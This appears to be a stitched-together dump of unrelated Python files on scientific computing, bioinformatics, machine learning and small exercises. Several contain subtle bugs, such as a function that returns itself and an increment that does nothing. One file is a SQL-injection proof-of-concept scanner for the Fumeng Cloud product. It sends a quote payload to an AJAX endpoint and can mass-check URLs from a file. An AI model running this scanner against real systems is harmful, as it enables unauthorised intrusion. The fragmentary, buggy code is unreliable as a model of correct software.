#------------------------------------------------------------------------------
# filename  : cube_partition.py
# author    : Ki-Hwan Kim  (kh.kim@kiaps.org)
# affilation: KIAPS (Korea Institute of Atmospheric Prediction Systems)
# update    : 2013.9.8      revision
#             2016.3.29     convert to Python3
#
#
# description:
#   Generate the partitions for the cubed-sphere using Space Filling Curves
#
# class:
#   CubePartition()
#------------------------------------------------------------------------------

import numpy as np

rot90 = np.rot90
rot180 = lambda x: rot90(rot90(x))
rot270 = lambda x: rot90(rot90(rot90(x)))
inv_x = lambda x: x[::-1,:]     # inversion along the x axis
inv_y = lambda x: x[:,::-1]     # inversion along the y axis

class CubePartition:
    def __init__(self, ne, nproc, homme_style=False):
        self.ne = ne
        self.nproc = nproc
        self.homme_style = homme_style

        self.init_base_curves()
        self.init_derived_curves()
        self.init_direction_vector_table()

        # factor list (2,3,5)
        self.factor_list = self.get_factor_list()

        # array variables
        self.sfc = np.zeros((ne,ne), 'i4')          # space-filling curve
        self.elem_gseq = np.zeros((6,ne,ne), 'i4')  # global sequence
        self.elem_proc = np.zeros((6,ne,ne), 'i4')  # process number
        self.nelems = np.zeros(nproc, 'i4')         # number of elements

        # set the array variables
        self.set_sfc()          # space-filling curve on the square grid
        self.set_elem_gseq()    # global sequence on the cube
        self.set_elem_proc()    # partitioning the cube

    def init_base_curves(self):
        self.hilbert0 = np.array([ \
                [1,2], \
                [4,3]], 'i2')

        if self.homme_style:
            self.peano0 = np.array([ \
                    [1,2,3], \
                    [8,7,4], \
                    [9,6,5]], 'i2')
        else:
            self.peano0 = np.array([ \
                    [1,4,5], \
                    [2,3,6], \
                    [9,8,7]], 'i2')

        self.cinco0 = np.array([ \
                [ 1, 8, 9,10,11], \
                [ 2, 7, 6,13,12], \
                [ 3, 4, 5,14,15], \
                [24,23,20,19,16], \
                [25,22,21,18,17]], 'i2')

    def init_derived_curves(self):
        '''
        Define the derived curves along the direction vectors

        <edge coordinates>
        4 ---- 3
         |    |
         |    |
        1 ---- 2
        '''

        hilbert0 = self.hilbert0
        peano0 = self.peano0
        cinco0 = self.cinco0

        self.hilbert = {'name': 'hilbert', \
                '1->2': hilbert0, \
                '3->4': rot180(hilbert0), \
                '3->2': inv_y(rot90(hilbert0)), \
                '1->4': inv_y(rot270(hilbert0)) }

        self.peano = {'name': 'peano', \
                '1->2': peano0, \
                '3->4': rot180(peano0), \
                '3->2': inv_y(rot90(peano0)), \
                '1->4': inv_y(rot270(peano0)) }

        self.cinco = {'name': 'cinco', \
                '1->2': cinco0, \
                '3->4': rot180(cinco0), \
                '3->2': inv_y(rot90(cinco0)), \
                '1->4': inv_y(rot270(cinco0)) }

    def init_direction_vector_table(self):
        '''
        Define the table for the direction vector

        # direction coordinates
             N
          4 ---- 3
        W  |    |  E
           |    |
          1 ---- 2
             S

        # relation diagram with the previous element

                  4 ---- 3
                   |    |
                   |    |
                  1 ---- 2

        4 ---- 3  4 ---- 3  4 ---- 3
         |    |    |prev|    |    |
         |    |    |    |    |    |
        1 ---- 2  1 ---- 2  1 ---- 2

                  4 ---- 3
                   |    |
                   |    |
                  1 ---- 2
        '''

        # previous direction : next direction
        self.direction_vector_table = \
                {'E':{'W':'3->4', 'S':'3->2', 'N':'3->4'}, \
                 'W':{'E':'1->2', 'S':'1->2', 'N':'1->4'}, \
                 'S':{'E':'1->2', 'W':'1->4', 'N':'1->4'}, \
                 'N':{'E':'3->2', 'W':'3->4', 'S':'3->2'} }

    def get_factor_list(self):
        '''
        return factor list by the prime factors 2, 3, 5
        return None if the integer includes other prime factors
        '''

        ne = self.ne
        nproc = self.nproc

        prime_list = [2,3,5]
        if nproc%(6*2*2) == 0: prime_list = [3,5,2]
        elif nproc%(6*3*3) == 0: prime_list = [2,5,3]

        factor = list()
        for p in prime_list:
            while ne%p == 0:
                factor.append(p)
                ne //= p

        assert ne==1, 'Error: The ne must have the prime factors 2, 3 and 5.'
        return factor

    def get_pos(self, curve, seq):
        '''
        get the position (i,j) of the sequence in the curve array
        '''

        ret = np.where(curve==seq)
        try:
            return [int(idx) for idx in ret]
        except TypeError:
            return [None for idx in ret]

    def get_direction_vector(self, lev, uplev_seq, prev_dirs, next_dirs, curves):
        i0, j0 = self.get_pos(curves[lev+1], uplev_seq)
        i1, j1 = self.get_pos(curves[lev+1], uplev_seq+1)

        if i1 == None and j1 ==None:
            next_dir = next_dirs[lev+1]
        else:
            next_dir = {(1,0):'E', (-1,0):'W', (0,1):'N', (0,-1):'S'}[i1-i0,j1-j0]

        prev_dir = {'E':'W', 'W':'E', 'S':'N', 'N':'S'}[next_dirs[lev]]
        prev_dirs[lev] = prev_dir
        next_dirs[lev] = next_dir

        return self.direction_vector_table[prev_dir][next_dir]

    def set_sfc(self):
        ne = self.ne
        facts = self.factor_list
        sfc = self.sfc

        # initialize
        dv_curves = [{2:self.hilbert, 3:self.peano, 5:self.cinco}[fact] \
                for fact in facts]
        curves = [dv_curve['1->2'] for dv_curve in dv_curves]
        prev_dirs = ['W' for fact in facts]
        next_dirs = ['E' for fact in facts]
        sizes = [curve.size for curve in curves]
        periods = np.multiply.accumulate([1] + [size for size in sizes[1:]])
        nlev = len(facts)
        dx = facts[0]
        gi, gj= -dx, 0

        # generate curves
        for seq in range( sfc.size//sizes[0] ):
            for lev in range(nlev-2,-1,-1):
                if seq % periods[lev] == 0:
                    uplev_seq = (seq // periods[lev]) % sizes[lev+1] + 1
                    mv = self.get_direction_vector( \
                            lev, uplev_seq, prev_dirs, next_dirs, curves)
                    curves[lev] = dv_curves[lev][mv]

            gi, gj= {'E':(gi-dx,gj), 'W':(gi+dx,gj), \
                     'S':(gi,gj+dx), 'N':(gi,gj-dx)}[prev_dirs[0]]
            sfc[gi:gi+dx,gj:gj+dx] = curves[0] + seq*sizes[0]

    def set_elem_gseq(self):
        '''
        # direction vectors on the cube (HOMME style)
                  <---
                 | 6  |
                 |(3) |
                  ----

          ----    --->    --->    ----
         | 4  |  | 1  |  | 2  |  | 3  |
         V(4) |  |(1) |  |(2) |  |(6) |
          ----    ----    ----    --->

                  ----
                 | 5  |
                 |(5) |
                  --->

        # direction vectors on the cube
                  ----
                 | 6  |
                 |(3) |
                 1<---2

          ----3   ----   4----    ----3
         | 4  |  | 1  |  ^ 2  |  | 3  ^
         |(4) V  |(1) |  |(2) |  |(6) |
          ----2  1--->2  1----    ----2

                 4----
                 | 5  |
                 V(5) |
                 1----
        '''

        ne = self.ne
        elem_gseq = self.elem_gseq
        sfc = self.sfc

        if self.homme_style:
            elem_gseq[0,:,:] =           inv_y(sfc)
            elem_gseq[1,:,:] =   ne**2 + inv_y(sfc)
            elem_gseq[2,:,:] = 5*ne**2 + sfc
            elem_gseq[3,:,:] = 3*ne**2 + rot270(sfc)
            elem_gseq[4,:,:] = 4*ne**2 + sfc
            elem_gseq[5,:,:] = 2*ne**2 + rot180(sfc)

        else:
            elem_gseq[0,:,:] =           sfc
            elem_gseq[1,:,:] =   ne**2 + inv_y( rot270(sfc) )
            elem_gseq[2,:,:] = 5*ne**2 + rot90(sfc)
            elem_gseq[3,:,:] = 3*ne**2 + inv_y( rot90(sfc) )
            elem_gseq[4,:,:] = 4*ne**2 + rot270(sfc)
            elem_gseq[5,:,:] = 2*ne**2 + inv_x(sfc)

    def set_elem_proc(self):
        '''
        Numbering the process number
        '''

        ne = self.ne
        nproc = self.nproc
        elem_gseq = self.elem_gseq
        elem_proc = self.elem_proc
        nelems = self.nelems

        gs = ne*ne*6  # global size
        nelems[:] = np.array( [gs//nproc for i in range(nproc)] )
        for i in range( gs%nproc ): nelems[i] += 1

        accum = np.add.accumulate([1] + list(nelems))
        for proc in range(nproc):
            condition = (elem_gseq>=accum[proc]) * (elem_gseq<accum[proc+1])
            elem_proc[condition] = proc


"""
==========================================================
Programmer:  Benjamin Malz
Summary:     This program reads DNA from a .fna file, and then determines
whether or not the DNA proves that a person has Huntington's Disease.

INPUT (keyboard, stdin):  The program prompts users through a menu to enter a
number to perform an action. The user must type a filename by pressing '1' first
before they can do anything else.

INPUT (from a file of data): The .fna file contains a segment of DNA which can
be used to determine if someone has Huntington's Disease.

OUTPUT (console, stdout): The shell will display a menu which can be 'interacted'
with by pressing 1, 2, 3 and 4. The interactions will yield: a reading of the .fna
file's DNA, the number of CAG repetitions in the DNA, whether or not someone has
Huntington's Disease, and the percentage of the DNA that is the letters 'C' and
'G'.

Date Last Modified:
 10/10/2016:  (mdl) Starter Kit created
 10/17/2016: (BMM) Finished the getDna() portion of the code.
 10/19/2016: (BMM) CG Percentage added, CAG repeat detection added and classifications
 for Huntington's Disease added.
==========================================================
"""
import os

# ------ CONSTANTS for entire file ----------

# menu options
READFILE  = 1
FINDCAG   = 2
GCPERCENT = 3
EXIT      = 4
ERROR     = -1

# definition of the snip of DNA of interest
REPEAT    = "cag"

# constants for Classification Status

# ---------------------------

def getDNA(dnaFile):
    """ignoring header line, returns all DNA in file as one lowercase string; returns empty string if bad file"""

    DNA = ""
    if not os.path.exists(dnaFile):
        print("\nSORRY, the file", dnaFile, "does not exist.")
        print("Try another filename ...")

    else:
        line = 0
        FILE = open(dnaFile, 'r')
        print("Using file:", dnaFile)
        headerLine = FILE.readline() #isolates header so it isn't stored to DNA
        headerLine = headerLine.strip() #isolates header so it isn't stored to DNA
        #print(headerLine)
        for nextLine in FILE:
            nextLine = nextLine.strip() #reads lines
            freshDNA = nextLine #tracks the new line of DNA to add to total DNA string
            #print(nextLine)
            DNA = DNA + freshDNA #the total DNA string

    # end else
    print(DNA)

    return DNA
# ---------------------------------------------------------

def findCAGs(DNA):
    """report on all 'cag' repeats (lowercase) in a string of DNA"""

    #start looking in the string DNA at start(0) for cag-repeats
    DNAcags = DNA.lower() #converts DNA to lowercase for CAG locating
    where = DNAcags.find(REPEAT) #tracks position of CAGs located
    #cagCount = 0 #counts the amount of CAGs, also I didn't need it
    repeatCount = 0 #counts the amount of CAG repeats
    while (where != -1):
        #print("#", cagCount, "[position:", where, "]", DNAcags[where:])
        prevCag = where #tracks the position of the previous CAG for tracking purposes
        #print(prevCag)
        where = DNAcags.find(REPEAT, where + 1) #tracks current CAG
        #print(where)
        if (where - 3 == prevCag):
            print("CAG repeat at position:", prevCag)
            print(DNAcags[prevCag:])
            repeatCount = repeatCount + 1 #counts CAG repeats
    print("Total CAG repeats:", repeatCount)
    if(repeatCount <= 26):
        print("Classification: Normal. Unaffected by disease.")
    elif(repeatCount <= 35):
        print("Classification: Intermediate. Unaffected by disease.")
    elif(repeatCount <= 39):
        print("Classification: Reduced Penetrance. May be affected by disease.")
    elif(repeatCount > 39):
        print("Classification: Full Penetrance. Definitely affected by disease.")

# ---------------------------------------------------------

def getGCpercentage(DNA):
    """return the GC percentage of a strand of DNA"""
    dnaLength = len(DNA) #counts the length of the DNA string
    findG = DNA.count("G") #finds the letter G in DNA string
    findC = DNA.count("C") #finds the letter C in DNA string
    print(findG)
    print(findC)
    print(dnaLength)
    GCpercent = ((findC + findG)/dnaLength) * 100 #calculates percentage of Gs and Cs
    print("Percentage of G and C:"," %6.2f" % GCpercent)

    return getGCpercentage

# ---------------------------------------------------------

def main():

    gotDNA = False   # flag to tell if we've already loaded some DNA
    DNA = ""         # string of DNA held here

    choice = -1  # bogus setting to get us started

    while (choice != EXIT):
        print ("------------------------------")
        print ("  1  -  Read DNA file")
        print ("  2  -  Find", REPEAT, "repeat");
        print ("  3  -  Report percent GC");
        print ("  4  -  EXIT");
        print ("---------------------------")
        choice = input("ENTER: ")

        # trap bad user input
        if ( (str(READFILE) <= choice) and (choice <= str(EXIT)) ):
            # force to an integer, for example "1" to 1
            choice = eval(choice)
        else:
            badInput = choice
            # force to an integer to test below
            choice = ERROR;

        # ============ 1: READ DNA FILE =============================
        if ( choice == READFILE):
            dnaFile = input("Enter DNA filename: ")

            DNA = getDNA(dnaFile)

            if (DNA != ""):
                gotDNA = True
                print ("First 10 nucleotides in DNA file in one string is:\n", DNA[:10].lower())
            # end if

        # ============ 2: FIND CAG Repeats =============================
        elif (choice == FINDCAG):

            if (gotDNA):
                #start looking in the string DNA at start(0) for cag-repeats
                findCAGs(DNA)
            # end if gotDNA

            else:
                print ("You cannot search for CAGs at this time.")
                print ("Please open a file of DNA to search first.")
            # end else no file open yet

        # ============ 3: COMPUTE GC % =============================
        elif (choice == GCPERCENT):

            if (gotDNA):
                getGCpercentage(DNA)
            # end if gotDNA

            else:
                print ("You cannot compute GC % at this time.")
                print ("Please open a file of DNA to search first.")
            # end else no file open yet

        # ============ 4: EXIT =====================================
        elif (choice == EXIT):
            print ("Goodbye ...")

        # ============ ? HUH ? =====================================
        else:  # invalid input
            print ("ERROR: ", badInput, "is an invalid input. Try again.")

    # end WHILE input is not EXIT

    print ("\n\nDone.\n")
# end main

#-----------------------------------------------------

if __name__ == '__main__':
    main()

#-----------------------------------------------------


import argparse

import requests
import urllib3

parser = argparse.ArgumentParser(description='帮助信息')
parser.add_argument('-u', '--url', help='输入需要验证的URL', default='')
parser.add_argument('-f', '--file', help='输入需要验证的文件', default='')
args = parser.parse_args()
urllib3.disable_warnings()

# 全局请求头，可根据不同的脚进行验证
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded",
}

## 定义check 检查函数，判断返回值是不是包含相同的参数
def check(url):
    url = url.strip('/')
    path = '/Ajax/AjaxMethod.ashx?action=getEmpByname&Name=1%27'
    check_url = url + path
    try:
        ## 发起get 请求 请求地址check_url
        return_data = requests.get(url=check_url, headers=headers, verify=False)
        ## 对返回参数进行判断匹配的相关参数就返回存在漏洞，要不然就返回不存在漏洞
        if '字符串' in return_data.text and 'SELECT' in return_data.text and return_data.status_code == 500:
            print(f'✅  存在孚盟云SQL注入漏洞！！！当前URL为： {url} ')

        else:
            print(f'❌  不存孚盟云SQL注入漏洞！！！{url} ')
    except Exception as e:
        print("出现异常，请手工利用")

## 定义more 函数用于读取文件
def more(file):
    f = open(file, 'r')
    ##readline() 函数用于读取文件中的一行，包含最后的换行符“\n”
    for i in f.readlines():
        ##strip() 方法用于移除字符串头尾指定的字符（默认为空格或换行符）或字符序列。 “该方法只能删除开头或是结尾的字符，不能删除中间部分的字符。”
        i = i.strip()
        check(i)

if __name__ == '__main__':
    ## 输入的内容是是否为空
    if args.url != '' and args.file=='':
        ## 执行函数
        check(args.url)
    if args.url == '' and args.file!='':
        more(args.file)


import xxhash
from ete3 import Tree
from Neighbour_Joining import NJ

def read_fasta(input_f):

    seq = {}
    with open(input_f, 'r') as in_f:
        for line in in_f:
            if line.startswith('>'):
                contigs = line.replace('>', '').strip()  # Obtain names for each contigs without '>' and '\n'
                seq[contigs] = ''  # Initialization of values for the keys of dictionary
            else:
                seq[contigs] += line.replace('\n', '').strip()  # Obtain the sequence corresponding to the contigs

    return seq  # Return a dict whose keys are names of contigs and values are sequences

def sliding_window(seq, k):  # Obtain a list contains all k-mers

    windows = {}  # Initialisation of a dictionary, whose keys are contigs and whose values are k-mers

    for contigs in seq:
        L = len(seq[contigs])
        windows[contigs] = []
        for i in range(L - k + 1):
            windows[contigs].append(seq[contigs][i:i + k])

    windowsList = list(windows.values())  # Turn the dictionary into a list
    windowsList_combine = []

    for i in range(len(windowsList)):  # Combine all subsequences together, important for the contigs
        for item in windowsList[i]:
            windowsList_combine.append(item)

    return windowsList_combine

def calculate_Jaccard_distance(seqA, seqB, k):  # Calculate the distance based on the strings(k_mers)

    intersection = 0
    A_kmers = sliding_window(seqA, k)  # Obtain the list of k-mers of seqA
    B_kmers = sliding_window(seqB, k)

    for i in range(len(A_kmers)):
        for j in range(len(B_kmers)):
            if A_kmers[i] == B_kmers[j]:
                intersection += 1  # Get the number of intersections of the two k-mers

    union = len(A_kmers) + len(B_kmers) - intersection
    # If x+intersection=len(A) and y+intersection=len(B), then union=x+y+intersection=len(A)+len(B)-intersection
    distance = 1 - intersection / union  # The Jaccard distance

    return distance

def calculate_Jaccard_distance_hash(seqA, seqB, L):  # Calculate the distance based on the numbers(sketch)

    intersection = 0

    for i in range(L):  # L is the sketch size
        for j in range(L):
            if seqA[i] == seqB[j]:
                intersection += 1

    union = 2 * L - intersection
    distance = 1 - intersection / union

    return distance

def hash_function(SeqList):  # Get the list of k-mers encoded with a hash function

    hashList = []

    for i in range(len(SeqList)):
        x = xxhash.xxh32(SeqList[i]).intdigest()
        hashList.append(x)

    return hashList

def sketch(seq, sketch_size, filename, k):

    SeqList = sliding_window(seq, k)  # Get the list of all k-mers from sequences in the dictionary
    hashList = hash_function(SeqList)  # Get the hash values corresponding to the sequence
    hashList.sort()  # Sort hashList from smallest to largest
    hashList1 = hashList[:sketch_size]  # Obtain the specified number of hash values

    with open(filename, 'w') as out_f:
        for line in hashList1:
            out_f.write(str(line) + '\n')  # Write the specified number of hash values to the file

def load_sketch(filename):
    # Read the contents of a sketch and return a list of hash values

    arr_seqs = []

    with open(filename, 'r') as in_f:
        for line in in_f:
            arr_seqs.append(line.strip())  # Put hash values into the list

    return arr_seqs

if __name__ == '__main__':
    input_reference1_f = 'R6.fa'
    input_reference2_f = 'TIGR4.fa'
    input_draft1_f = '14412_3#82.contigs_velvet.fa'
    input_draft2_f = '14412_3#84.contigs_velvet.fa'
    seq1 = read_fasta(input_reference1_f)  # Read the fasta file and get a dictionary containing the sequence
    seq2 = read_fasta(input_reference2_f)
    seq3 = read_fasta(input_draft1_f)
    seq4 = read_fasta(input_draft2_f)
    k = 14  # k of k-mers
    L = 1000  # sketch size
    sketch(seq1, L, 'sketch1.txt', k)  # Write the specified number of k-mers to the file as hash values
    sketch(seq2, L, 'sketch2.txt', k)
    sketch(seq3, L, 'sketch3.txt', k)
    sketch(seq4, L, 'sketch4.txt', k)
    A = load_sketch('sketch1.txt')
    B = load_sketch('sketch2.txt')
    C = load_sketch('sketch3.txt')
    D = load_sketch('sketch4.txt')
    dAB = calculate_Jaccard_distance_hash(A, B, L)
    dAC = calculate_Jaccard_distance_hash(A, C, L)
    dAD = calculate_Jaccard_distance_hash(A, D, L)
    dBC = calculate_Jaccard_distance_hash(B, C, L)
    dBD = calculate_Jaccard_distance_hash(B, D, L)
    dCD = calculate_Jaccard_distance_hash(C, D, L)
    print(dAB, dAC, dAD, dBC, dBD, dCD)

    M_labels = ['A', 'B', 'C', 'D']
    M = [
        [0, dAB, dAC, dAD],
        [dAB, 0, dBC, dBD],
        [dAC, dBC, 0, dCD],
        [dAD, dBD, dCD, 0],
    ]
    newick_NJ = '{};'.format(NJ(M, M_labels))  # Convert the tuple obtained by the NJ function into newick format
    print(Tree(newick_NJ))

""" Comparing isolates:
    1.
    L = 10: DISTANCE = [1.0 1.0 1.0 1.0 1.0 0.5714285714285714]
    L = 100: DISTANCE = [0.9417989417989419 0.9949748743718593 0.9949748743718593
                         0.98989898989899 0.98989898989899 0.5915492957746479]
    L = 500: DISTANCE = [0.9572471324296141 0.98989898989899 0.9878542510121457
                         0.9847715736040609 0.9878542510121457 0.5549132947976878]
    L = 1000: DISTANCE = [0.9434759640781828 0.9832231825114387 0.9816700610997964
                          0.9868287740628167 0.9868287740628167 0.5228951255539143]
    L = 1500: DISTANCE = [0.5556090515166106 0.9851150202976996 0.9847715736040609
                          0.9868287740628167 0.9864864864864865 0.5322896281800391]
    L = 2000: DISTANCE = [0.6741796486576068 0.9858012170385395 0.985544002028912
                          0.9883662114314619 0.9878542510121457 0.5013113525665043]
    L = 5000: DISTANCE = [0.8467304809133894 0.9876493217250456 0.9881614894262876
                          0.9870340356564019 0.9876493217250456 0.5090204264201581]

MinHash distances are generally relatively approximate compared to full distances, but in some cases MinHash distances
lack precision and appear to fluctuate widely as the sketch size changes. This is not the case with full distances,
which are more accurate, but difficult to achieve for large genomic data. Therefore, I believe that full distances
should be used for small-scale data, and that the sketch size should be increased to obtain more accurate MinHash
distances for large-scale data.

With the change of sketch size, most MinHash distance don't change significantly, but there are still distances which
change a lot, for example, dAB changes from 0.56 to 1, so we can say that sketch size can influence the result of
MinHah distance.

    2.
    for L =1000
      /-A
   /-|
  |  |   /-C
--|   \-|
  |      \-D
  |
   \-B

    for L = 10
      /-A
   /-|
  |   \-B
--|
  |   /-C
   \-|
      \-D

   for L = 100
         /-A
      /-|
   /-|   \-B
  |  |
--|   \-C
  |
   \-D

   for L = 500
         /-A
      /-|
   /-|   \-B
  |  |
--|   \-C
  |
   \-D

   for L = 2000
         /-A
      /-|
   /-|   \-B
  |  |
--|   \-D
  |
   \-C

   for L = 5000
      /-A
   /-|
  |   \-B
--|
  |   /-C
   \-|
      \-D

If 'sketch size' = 1000, their relationship in newick format is '((A,(C,D)),B);', This means that C and D are the
closest relatives, A and (C,D) are relatively closely related and B and (A,C,D) are relatively distantly related.

When we change the sketch size, their MinHash distance changes as well. We found that as the distance changes the
NJ tree also changes, and in some cases even when the distance does not change much the form of the NJ tree changes
significantly, for example the newick for L = 500 is '(((A,B),C),D);' while the newick for L = 1000 where the distance
does not change significantly is '((A,(C,D)),B);'. This shows that the NJ tree is sensitive to distance.
"""


from discord.ext import commands
from database.Store_db import create_table

class DiscordStore(commands.Cog):
    def __init__(self, bot):
        self.bot = bot

    @commands.Cog.listener()
    async def on_ready(self):
        print(self.bot.user.name + " has been online.")
        create_table()

def setup(bot):
    bot.add_cog(DiscordStore(bot))


#!/bin/env python
# -*- coding: utf-8 -*-
from math import log, exp
from openpyxl import load_workbook
import operator
import json
import time
import random

def load_words_data():
    wb = load_workbook(filename='Search_Index_20181118.xlsx')
    sheet = wb['index']
    words_data = []
    for row in sheet.rows:
        labels = []
        for cell in row:
            labels.append(cell.value)
        words_data.append(labels)
    words_label = words_data[0]
    words_data.pop(0)
    words_label.pop(0)

    # generate
    fix_words_data = []
    for word_data in words_data:
        keyword = word_data[0]
        search_index = word_data[1]
        search_result = word_data[2]
        search_popular = word_data[3]
        app_name = word_data[4]

        if type(app_name) is int:
            continue

        fix_word_data = []
        if search_index > 4800:
            fix_word_data.append("valid search index")
        else:
            fix_word_data.append("invalid search index")

        if search_result < 1000:
            fix_word_data.append("valid search result")
        else:
            fix_word_data.append("invalid search result")

        if search_popular > 50:
            fix_word_data.append("popular")
        else:
            fix_word_data.append("unpopular")

        if "fitness" in app_name.lower() or "hiit" in app_name.lower():
            fix_word_data.append("valid words")
        else:
            fix_word_data.append("invalid words")

        if search_index > 4800 and search_result < 1000 and search_popular > 40 and (
                "fitness" in app_name.lower() or "hiit" in app_name.lower() or "in" in app_name.lower() ):
            print ('keyword is ' + keyword)
            fix_word_data.append("success")
        else:
            fix_word_data.append("failed")

        fix_words_data.append(fix_word_data)

    return words_label, fix_words_data

def cal_shannon_entropy(data_set):
    num = len(data_set)
    label_counts = {}
    for data in data_set:
        current_label = data[-1]
        if current_label not in label_counts.keys():
            label_counts[current_label] = 0
        label_counts[current_label] += 1
    shannon_entropy = 0
    for key in label_counts:
        prob = float(label_counts[key]) / num
        shannon_entropy -= prob * log(prob, 2)
    return shannon_entropy

def choose_best_feature(words_data):
    feature_num = len(words_data[0]) - 1
    base_entropy = cal_shannon_entropy(words_data)
    print('base_entropy is : ' + str(base_entropy))
    best_info_gain = 0
    best_feature = -1
    for i in range(feature_num):
        feature_list = [feature[i] for feature in words_data]
        new_entropy = 0
        for value in set(feature_list):
            sub_data = []
            for words in words_data:
                if words[i] == value:
                    sub_vec = words[:i]
                    sub_vec.extend(words[i+1:])
                    sub_data.append(sub_vec)
            prob = len(sub_data) / float(len(words_data))
            new_entropy += prob * cal_shannon_entropy(sub_data)
        print('new_entropy is + ' + str(new_entropy))
        info_gain = base_entropy - new_entropy
        if info_gain > best_info_gain:
            best_info_gain = info_gain
            best_feature = i
    return best_feature

def create_tree(labels, words_data):
    result_list = [example[-1] for example in words_data]
    if result_list.count(result_list[0]) == len(result_list):
        return result_list[0]
    if len(words_data[0]) == 1:
        # vote for result
        class_count = {}
        for vote in result_list:
            if vote not in class_count.keys():
                class_count[vote] = 0
            class_count[vote] += 1
        sorted_count = sorted(class_count.items(), key=operator.itemgetter(1), reverse=True)
        return sorted_count[0][0]
    best_feature = choose_best_feature(words_data)
    best_feature_label = labels[best_feature]
    decision_tree = {best_feature_label: {}}
    del (labels[best_feature])
    feature_values = [example[best_feature] for example in words_data]
    for value in set(feature_values):
        sub_labels = labels[:]
        sub_data = []
        for words in words_data:
            if words[best_feature] == value:
                sub_vec = words[:best_feature]
                sub_vec.extend(words[best_feature + 1:])
                sub_data.append(sub_vec)
        decision_tree[best_feature_label][value] = create_tree(sub_labels, sub_data)
    return decision_tree

def create_train_test_data(all_data, label):
    size = int(len(all_data) * 0.7)
    t_train_data = all_data[:size]
    t_test_data = all_data[size:]
    t = []
    for test in t_test_data:
        t_dict = {}
        for la in range(len(label)):
            t_dict.setdefault(label[la], test[la])
        t.append(t_dict)

    return t_train_data, t

def convert_test_data(t_test_data, label):
    t = []
    for test in t_test_data:
        dict = {}
        for la in range(len(label)):
            dict.setdefault(label[la], test[la])
        t.append(dict)
    return t

def valid_data(test_data, tree):
    valid = 0
    for test in test_data:
        if test['Search-Result'] == 'valid search result' and test['Search-Index'] == 'valid search index':
            if test['Result'] == 'success':
                valid+1
        else:
            if test['Result'] == 'failed':
                valid += 1

    print('prob is ' + str(float(valid)/len(test_data)))
    return float(valid)/len(test_data)

def valid_f_data(test_data, tree):
    valid = 0
    for test in test_data:
        if test['App-Name'] == 'valid words':
            if test['Result'] == 'success':
                valid+=1
        else:
            if test['Result'] == 'failed':
                valid += 1

    print('prob is ' + str(float(valid)/len(test_data)))
    return float(valid)/len(test_data)

def cross_validation_split_for_random_forest(data_set, n):
    data_set_split = list()
    data_set_copy = list(data_set)
    fold_size = int(len(data_set) / n)
    for i in range(n):
        fold = list()
        while len(fold) < fold_size:
            index = random.randrange(len(data_set_copy))
            fold.append(data_set_copy.pop(index))
        data_set_split.append(fold)
    return data_set_split

def cal_random_forest_prob(all_data, label):
    datas = cross_validation_split_for_random_forest(all_data, 10)
    probs = []
    for data in datas:
        l = list(label)
        train_data = list(datas)
        train_data.remove(data)
        da = []
        for d in train_data:
            da += d
        test_data = data
        td = convert_test_data(test_data, l)
        tree = create_tree(l, da)
        print(tree)
        prob = valid_f_data(td, tree)
        probs.append(prob)

    print('max is ' + str(max(probs)))

def cal_alpha(error):
    alpha = 1 / 2 * log((1 - error) / error)
    return alpha

def cal_new_weight(alpha, weight):
    new_weight = []
    sum_weight = 0
    for i in range(len(weight)):
        flag = 1
        weighti = weight[i] * exp(-alpha * flag)
        new_weight.append(weighti)
        sum_weight += weighti
    return new_weight

def train_ada_boost(label, data, error_threshold, max_iter):
    fx = {}
    weight = []
    num = len(label)
    for i in range(num):
        w = float(1 / num)
        weight.append(w)

    for i in range(max_iter):
        fx[i] = {}
        td = convert_test_data(data, label)
        prob = valid_data(td, labels)
        error = (weight[i] * prob)
        alpha = cal_alpha(error)
        weight = cal_new_weight(alpha, weight)
        fx[i]['alpha'] = alpha / num
        if error < error_threshold:
            break
    return fx

if __name__ == '__main__':
    labels, data = load_words_data()
    l = list(labels)
    # random.shuffle(data)

    train_data, test_data = create_train_test_data(data, labels)
    t = time.time()
    tree = create_tree(labels, train_data)
    valid_data(test_data, tree)
    print('time gap is:' + str(time.time() - t) )
    print (tree)

    t1 = time.time()
    cal_random_forest_prob(data, l)
    print('time t1 gap is:' + str(time.time() - t1) )

    ada = train_ada_boost(l, data, 0.01, 5)
    print(ada)

    # with open('tree.json', 'w') as outfile:
    #     json.dump(tree, outfile)


def calculate(number):
    i = 2
    factors = []
    while i * i <= number:
        if not number % i == 0:
            i += 1
        else:
            number = number // i
            factors.append(i)
    if number > 1:
        factors.append(number)
    return factors

print(calculate(48))


import numpy as np

from .layer import Layer

class FullyConnected(Layer):

    def __init__(
        self,
        layer_id: str,
        n_inputs: int,
        n_neurons: int,
    ):
        super(FullyConnected, self).__init__(
            layer_id=layer_id,
            n_inputs=n_inputs,
            n_outputs=n_neurons,
        )
        self.weights = np.random.uniform(size=(self.n_outputs, self.n_inputs))
        self.bias = np.random.uniform()

    def _run_forward(
        self,
        inputs: np.array
    ) -> np.array:

        return np.tensordot(self.weights, inputs, axes=1) + self.bias

    def _run_backward(
        self,
        error_wrt_output: np.array,
        lr: float
    ) -> np.array:

        batch_size = error_wrt_output.shape[2]

        output_wrt_weights = np.transpose(self.inputs, axes=(1, 0, 2))
        error_wrt_weights = np.zeros(
            shape=(self.n_outputs, self.n_inputs, batch_size)
        )
        for k in range(batch_size):
            error_wrt_weights[:, :, k] = np.dot(
                error_wrt_output[:, :, k], output_wrt_weights[:, :, k]
            )

        output_wrt_inputs = self.weights
        error_wrt_inputs = np.tensordot(
            output_wrt_inputs.T, error_wrt_output, axes=1
        )

        self.weights = self.weights - lr * np.mean(error_wrt_weights, axis=2)
        self.bias = self.bias - lr * np.mean(error_wrt_output)

        return error_wrt_inputs


def check(stack_in, n):
    if n == 1 or n == 2 or n == 3:
        return True

    stack_out = []
    current = 1

    while len(stack_in) and current != n+1:
        if stack_in[-1] == current:
            current+=1
            stack_in.pop()
        elif len(stack_out) and stack_out[-1] == current:
            stack_out.pop()
            current+=1
        else:
            stack_out.append(stack_in[-1])
            stack_in.pop()

    while len(stack_out):
        if current == stack_out[-1]:
            stack_out.pop()
            current+=1
        else:
            return False

    return True

def main():

    n = int(input())
    ans = []
    while n:
        arr = list(map(int, input().split()))

        arr.reverse()

        result = check(arr, n)
        if result:
            ans.append("yes")
        else:
            ans.append("no")

        n = int(input())

    for an in ans:
        print(an)

if __name__== "__main__":
    main()


import pyglet
from sprites.rect import Rect
import math
from pyglet import gl
import random
from pprint import pprint as print
BLACK = (0, 0, 0)

